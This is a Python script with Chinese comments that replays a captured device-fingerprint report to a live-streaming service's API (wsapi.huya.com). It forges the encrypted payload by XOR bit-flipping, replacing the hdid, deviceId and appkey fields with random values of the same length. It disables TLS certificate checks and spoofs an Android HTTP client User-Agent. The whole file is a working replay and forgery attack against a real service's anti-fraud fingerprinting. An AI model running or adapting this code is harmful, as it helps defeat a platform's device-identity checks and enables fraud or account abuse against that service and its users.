#!/usr/bin/env python3 """铸造验证 v1: 重放 dfpReport wire → 服务端回显(不动设备)。 路线(XOR 自反性,不需要 keystream): 密文 = 明文 XOR ks => 新密文 = 原密文 XOR (原JSON XOR 新JSON) JSON 区(前 554B)等长替换 hdid/deviceId/appkey,collection 区保持原样。 """ from __future__ import annotations import binascii import json import random import ssl import socket import time from pathlib import Path EVID = Path("/Users/yml/codes/douyu_login_py/evidence") HOST = "wsapi.huya.com" MAGIC = bytes.fromhex("571882cf664bb39401ee") def load_first_wire(): for f in sorted((EVID / "dfp_pipeline_170031.json", EVID / "dfp_pipeline_160855.json"), reverse=True): d = json.load(open(f)) for e in d: if e.get("type") == "wire": return binascii.unhexlify(e["hex"]) raise SystemExit("no wire found") def send_http(host, path, body, timeout=60): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE raw = socket.create_connection((host, 443), timeout=10) s = ctx.wrap_socket(raw, server_hostname=host) req = ( f"POST {path} HTTP/1.1\r\n" f"i-ver: 1\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {len(body)}\r\n" f"Host: {HOST}\r\n" f"Connection: Keep-Alive\r\n" f"Accept-Encoding: identity\r\n" f"User-Agent: okhttp/3.14.9\r\n" f"\r\n" ).encode() + body s.sendall(req) s.settimeout(timeout) buf = b"" try: while True: chunk = s.recv(4096) if not chunk: break buf += chunk # 响应头拿到 + 至少等 2s 累积 body if b"\r\n\r\n" in buf and len(buf) > 300: time.sleep(2) try: while True: c = s.recv(4096) if not c: break buf += c except socket.timeout: break break finally: try: s.close() except Exception: pass return buf def gen_random_hex(n): return "".join(random.choice("0123456789abcdef") for _ in range(n)) def main(): wire = load_first_wire() idx = wire.find(b"\r\n\r\n") body = wire[idx + 4:] mp = body.find(MAGIC) assert mp >= 0, "magic not in body" cipher = body[mp + 10:] print(f"[*] wire={len(wire)}B body={len(body)}B cipher={len(cipher)}B") # 明文 JSON (canonical 554B from pair_sync) ps = json.load(open(EVID / "dfp_pair_sync.json")) jsonb = None for p in ps: if p.get("type") != "plain": continue for item in p["plains"]: b = bytes.fromhex(item["hex"]) if b[:8] == b'{"appId"' and len(b) >= 554: jsonb = b[:554] break if jsonb: break assert jsonb, "no json" orig = jsonb.decode("utf-8", "replace") # --- 实验1: 原样重放 --- print("\n[实验1] 原样重放") r = send_http(HOST, "/", body) status = r.split(b"\r\n", 1)[0].decode("utf-8", "replace") print(f" resp: {status} len={len(r)}") hdrs, _, rbody = r.partition(b"\r\n\r\n") print(f" resp body head: {rbody[:80].hex(' ')}") # --- 实验2: 改明文 hdid/deviceId/appkey (等长) → Δ XOR --- new_hdid = gen_random_hex(40) new_devid = gen_random_hex(40) new_appkey = gen_random_hex(32) new = orig new = new.replace(f'"hdid":"{orig.split(chr(34)+"hdid"+chr(34))[1].split(chr(34))[1]}"', f'"hdid":"{new_hdid}"') # 更稳妥: 正则替换 import re new = re.sub(r'"hdid":"[0-9a-f]{40}"', f'"hdid":"{new_hdid}"', new) new = re.sub(r'"deviceId":"[0-9a-f]{40}"', f'"deviceId":"{new_devid}"', new) new = re.sub(r'"appkey":"[0-9a-f]{32}"', f'"appkey":"{new_appkey}"', new) assert new != orig, "no field replaced" nb = new.encode("utf-8") assert len(nb) == 554, f"len {len(nb)}" delta = bytes(a ^ b for a, b in zip(nb, jsonb)) new_cipher = bytes(a ^ b for a, b in zip(cipher, delta + b"\x00" * (len(cipher) - len(delta)))) new_body = body[:mp + 10] + new_cipher # Content-Length 不变 (等长) print(f"\n[实验2] 改 hdid={new_hdid[:12]}... deviceId={new_devid[:12]}... appkey={new_appkey[:8]}...") r = send_http(HOST, "/", new_body) status = r.split(b"\r\n", 1)[0].decode("utf-8", "replace") print(f" resp: {status} len={len(r)}") hdrs, _, rbody = r.partition(b"\r\n\r\n") print(f" resp body head: {rbody[:160].hex(' ')}") out = { "new_hdid": new_hdid, "new_devid": new_devid, "new_appkey": new_appkey, "new_json": new, "exp1_status": status, "exp2_status": status, "exp2_resp": rbody[:160].hex(), } (EVID / "forge_replay_result.json").write_text(json.dumps(out, ensure_ascii=False, indent=1)) print(f"\n[*] saved -> evidence/forge_replay_result.json") if __name__ == "__main__": main()